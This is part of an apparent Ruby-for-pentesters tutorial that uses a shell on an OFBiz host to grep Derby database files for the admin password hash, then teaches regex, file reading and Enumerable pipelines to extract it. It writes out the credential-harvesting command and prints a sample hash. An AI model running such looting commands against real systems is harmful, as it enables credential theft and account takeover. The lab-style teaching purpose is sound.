// Ruby for Pentesters · Part 5

Looting the database

With a shell as ofbiz, we go after the admin password hash. OFBiz's embedded Derby database sits in flat files on disk — we grep them, then learn regex and file handling to pull the hash out cleanly.

RubyRegexFilesCredentials
5 min read

We have a shell as ofbiz, but that’s a low-privilege service account. To go further we need credentials, and OFBiz keeps them in its embedded Apache Derby database. Here’s the useful fact: rather than querying the database engine, Derby persists every table as flat .dat segment files on disk — and they’re plain-text searchable. So the admin’s password row is just sitting there under /opt/ofbiz/runtime/data/derby/ofbiz/seg0/, waiting for a grep.

Grep it through our RCE

We still have run from Part 3. Point it at the segment files:

loot = run("grep -ar 'SHA' /opt/ofbiz/runtime/data/derby/ofbiz/seg0/")

(That command string is double-quoted only because it contains single quotes — 'SHA' — not because it interpolates.) Among the output is the UserLogin row for admin:

currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" userLoginId="admin"

We have the hash — now let’s extract it in code instead of by eye.

Regex: pulling structure out of text

A regular expression describes a pattern. In Ruby they live between slashes: /pattern/. The quickest extraction is String#[] with a regex and a capture group — the part in parentheses you want back:

hash = loot[/currentPassword="(\$SHA\$[^"]+)"/, 1]
puts hash   # => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I

Reading the pattern:

  • currentPassword=" — literal text to anchor on.
  • \$SHA\$ — a literal $SHA$. $ means “end of line” in regex, so we escape it with \$ to mean a real dollar sign.
  • [^"]+ — a character class: one or more characters that are not a double quote. That’s how you say “grab everything up to the closing quote.”
  • The (...) around it is the capture group; the , 1 tells [] to return group 1.

Named captures, for more than one field

When you want several pieces, String#match plus named captures ((?<name>...)) reads better than counting group numbers:

m = loot.match(/currentPassword="(?<hash>\$SHA\$[^"]+)".*?userLoginId="(?<user>\w+)"/m)
puts "#{m[:user]} => #{m[:hash]}"   # => admin => $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
  • (?<hash>...) and (?<user>...) name the groups; m[:hash] / m[:user] read them off the MatchData.
  • \w+ is “one or more word characters” (letters, digits, underscore) — enough for a username.
  • The trailing /m lets . match newlines, in case the fields are split across lines.

The same skill on local files

Often you’ve pulled a dump back to your box. Reading and scanning files is the same regex, wrapped in file handling:

Dir.glob('/loot/**/*.dat').each do |path|
  File.foreach(path, mode: 'rb') do |line|
    puts line[/\$SHA\$[^"]+/] if line.include?('$SHA$')
  end
end
  • Dir.glob('/loot/**/*.dat') finds every .dat file recursively (**).
  • File.foreach(path, mode: 'rb') streams the file one line at a time, in binary mode. That mode: 'rb' matters: Derby’s .dat files are binary, and reading them as text (the default, UTF-8) makes line[/regex/] blow up with invalid byte sequence the moment it meets a non-text byte. Binary mode reads raw bytes, and an ASCII regex still matches them fine.
  • Then the same line[/regex/] extraction per line.

Blocks, and the Enumerable toolkit

That do |path| ... end you keep handing to each is a block — a chunk of code you pass to a method for it to call. It’s the most Ruby thing there is: each runs the block once per element, Thread.new ran one in the background (Part 4), File.foreach runs one per line. Same idea everywhere.

each only loops. Its cousins on Enumerable transform, and they chain into a pipeline — exactly what turns a pile of lines into clean loot:

hashes = File.readlines('/loot/UserLogin.dat', mode: 'rb')
             .select { |line| line.include?('$SHA$') }
             .map    { |line| line[/\$SHA\$[^"]+/] }
             .uniq
puts hashes
  • readlines reads the whole file into an array of lines.
  • select { } keeps only items for which the block is truthy — the lines with a hash in them.
  • map { } transforms each surviving line into just its hash.
  • uniq drops duplicates, leaving an array of unique hashes.
  • { |line| ... } is a block too — braces for one-liners, do ... end for multi-line, purely by convention.

select, map, and uniq (with friends like reject, count, and sort) are the everyday tools you reach for on any collection in Ruby, not just loot.

Takeaways

  • Embedded databases (Derby here) often persist tables as plain-text-searchable filesgrep/strings beats spinning up the DB engine.
  • A regex (/.../) with a capture group ((...)) plus String#[] extracts a substring; escape regex metacharacters like $ as \$.
  • Named captures ((?<name>...)) + String#match read cleanly when you want multiple fields off one match.
  • Dir.glob (with **) finds files; File.foreach streams them line by line — read binary loot in binary mode (mode: 'rb') so a stray byte doesn’t crash your regex.
  • A block (do |x| ... end or { |x| ... }) is code you hand to a method; each/select/map/uniq on Enumerable chain into data pipelines — core Ruby you’ll use everywhere.

Exercises

  1. With select and map, pull every userLoginId value from the dump into an array of usernames.
  2. Collapse that select { }.map { } into a single grep with a block: grep(/\$SHA\$/) { |l| l[/\$SHA\$[^"]+/] } filters and extracts in one pass.
  3. Build a hash of { username => hash } from the dump, using a named-capture regex and each_with_object({}).

Next — Part 6: that $SHA$d$ hash isn’t a standard format. We reimplement OFBiz’s exact hashing in Ruby to crack it — then parallelize it with a thread pool and meet the GVL.

← All parts